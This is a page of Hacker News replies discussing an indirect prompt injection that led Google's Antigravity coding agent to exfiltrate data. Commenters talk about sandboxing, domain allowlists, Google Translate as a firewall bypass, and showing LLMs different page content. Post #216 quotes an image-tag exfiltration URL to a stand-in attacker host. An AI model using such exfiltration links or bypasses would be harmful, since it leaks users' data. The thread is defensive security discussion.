Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Google Antigravity exfiltrates data via indirect prompt injection attack

promptarmor.com

Post reply on HN
Print view View original

211–220 of 227 posts

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#211

Post by kccqzy »

TeMPOraL wrote: post #208
kccqzy wrote: post #201

Earlier quoted context omitted.

This is what reasonable people disagree on. My employer provides several AI coding tools, none of which can communicate with the external internet. It completely removes the exfiltration risk. And people find these tools very useful.

Are you sure? Do they make use of e.g. internal documentation? Or CLI tools? Plenty of ways to have Internet access just one step removed. This would've been flagged by the trifecta thinking.

Yes. Internal documentation stored locally in Markdown format alongside code. CLI tools run in a sandbox, which restricts general internet access and also prevents direct production access.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#212

Post by gizzlon »

kccqzy wrote: post #211
TeMPOraL wrote: post #208

Earlier quoted context omitted.

Are you sure? Do they make use of e.g. internal documentation? Or CLI tools? Plenty of ways to have Internet access just one step removed. This would've been flagged by the trifecta thinking.

Yes. Internal documentation stored locally in Markdown format alongside code. CLI tools run in a sandbox, which restricts general internet access and also prevents direct production access.

Can it _never_ _ever_ create a script or a html file and get the user to open it?

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#213

Post by abir_taheer »

hi! we actually built a service to detect indirect prompt injections like this. I tested out the exact prompt used in this attack and we were able to successfully detect the indirect prompt injection.

Feel free to reach out if you're trying to build safeguards into your ai system!

centure.ai

POST - https://api.centure.ai/v1/prompt-injection/text

Response:

{ "is_safe": false, "categories": [ { "code": "data_exfiltration", "confidence": "high" }, { "code": "external_actions", "confidence": "high" } ], "request_id": "api_u_t6cmwj4811e4f16c4fc505dd6eeb3882f5908114eca9d159f5649f", "api_key_id": "f7c2d506-d703-47ca-9118-7d7b0b9bde60", "request_units": 2, "service_tier": "standard" }

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#214

Post by gizzlon »

connor4312 wrote: post #133
jsmith99 wrote: post #37

There's nothing specific to Gemini and Antigravity here. This is an issue for all agent coding tools with cli access. Personally I'm hesitant to allow mine (I use Cline personally) access to a web search MCP and I tend to give it only relatively trustworthy URLs.

Copilot will prompt you before accessing untrusted URLs. It seems a crux of the vulnerability that the user didn't need to consent before hitting a url that was effectively an open redirect.

What are "untrusted URLs" ? Or, more to the point: What are trusted URLs?

Prompt injection is just text, right? So if you can input some text and get a site to serve it it you win. There's got to be million of places where someone could do this, including under *.google.com. This seems like a whack-a-mole they are doomed to lose.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#215

Post by gizzlon »

ArcHound wrote: post #40
miohtama wrote: post #34

Earlier quoted context omitted.

How will the firewall for LLM look like? Because the problem is real, there will be a solution. Manually approve domains it can do HTTP requests to, like old school Windows firewalls?

Yes, curated whitelist of domains sounds good to me. Of course, everything by Google they will still allow. My favourite firewall bypass to this day is Google translate, which will access arbitrary URL for you (more or less). I expect lots of fun with these.

hehe, googd point regarding Google Translate :P

> Yes, curated whitelist of domains sounds good to me.

Has to be a very, very short list. So so many domains contain somewhere users can leave some text somehow

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#216

Post by godelski »

eru wrote: post #172
quuxplusone wrote: post #144

Earlier quoted context omitted.

Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.

Yes, even a GET request can change the state of the external world, even if that's strictly speaking against the spec.

Wasn't there a HN post where someone made their website look different to LLMs or webscrapers than a typical user? I can't seem to find the post but that could add an extra layer (I mean it is all different if you're viewing from a browser vs curl)

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#217

Post by FuckButtons »

buu700 wrote: post #180
0xbadcafebee wrote: post #179

Earlier quoted context omitted.

But they literally called it 'yolo mode'. It's an idiot button. If they added protections by default, someone would just demand an option to disable all the protections, and all the idiots would use that.

I'm not sure you fully understood my suggestion. Just to clarify, it's to add a feature, not remove one. There's nothing inherently idiotic about giving AI access to a CLI; what's idiotic is giving it access to your CLI. It's also not literally called "YOLO mode" universally. Cursor renamed it to "Auto-Run" a while back, although it does at least run in some sort of sandbox by default (no idea how it works offhand or…

Unless literally everything you work on is oss I can’t understand why anyone would give cli access to an llm, my presumption is that any ip that I send to an api endpoint is as good as public domain.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#218

Post by FuckButtons »

dragonwriter wrote: post #209
xmcqdpt2 wrote: post #204

Earlier quoted context omitted.

On the other hand, I've found that agentic tools are basically useless if they have to ask for every single thing. I think it makes the most sense to just sandbox the agentic environment completely (including disallowing remote access from within build tools, pulling dependencies from a controlled repository only). If the agent needs to look up docs or code, it will have to do so from the code and docs that are in th…

The entire value proposition of agentic AI is doing multiple steps, some of which involve tool use, between user interactions. If there’s a user interaction at every turn, you are essentially not doing agentic AI anymore.

If the entire value proposition doesn’t work without critical security implications, maybe it’s a bad plan.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#219

Post by buu700 »

FuckButtons wrote: post #217
buu700 wrote: post #180

Earlier quoted context omitted.

I'm not sure you fully understood my suggestion. Just to clarify, it's to add a feature, not remove one. There's nothing inherently idiotic about giving AI access to a CLI; what's idiotic is giving it access to your CLI. It's also not literally called "YOLO mode" universally. Cursor renamed it to "Auto-Run" a while back, although it does at least run in some sort of sandbox by default (no idea how it works offhand or…

Unless literally everything you work on is oss I can’t understand why anyone would give cli access to an llm, my presumption is that any ip that I send to an api endpoint is as good as public domain.

I agree that that's a concern, which is why I suggested that a strict firewall around the agent machine/VM would be optimal.

Either way, if the alternative is the code not getting written at all, or having to make other significant compromises, the very edge case risk of AI randomly exfiltrating your code can be an acceptable trade in many cases. Arguably it's a lower risk than it would be with an arbitrarily chosen overseas developer/agency.

But again, I would very much like to see the tools providing this themselves, because the average user probably isn't going to do it on their own.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#220

Post by TeMPOraL »

xmcqdpt2 wrote: post #203
TeMPOraL wrote: post #185

Earlier quoted context omitted.

Once again affirming that prompt injection is social engineering for LLMs. To a first approximation, humans and LLMs have the same failure modes, and at system design level, they belong to the same class. I.e. LLMs are little people on a chip; don't put one where you wouldn't put the other.

They are worse than people: LLM combine toddler level critical thinking with intern level technical skills, and read much much faster than any person can.

Right. But my point is, they belong to the bucket labeled "people", not the one labeled "software", for purpose of system design.
Post reply on HN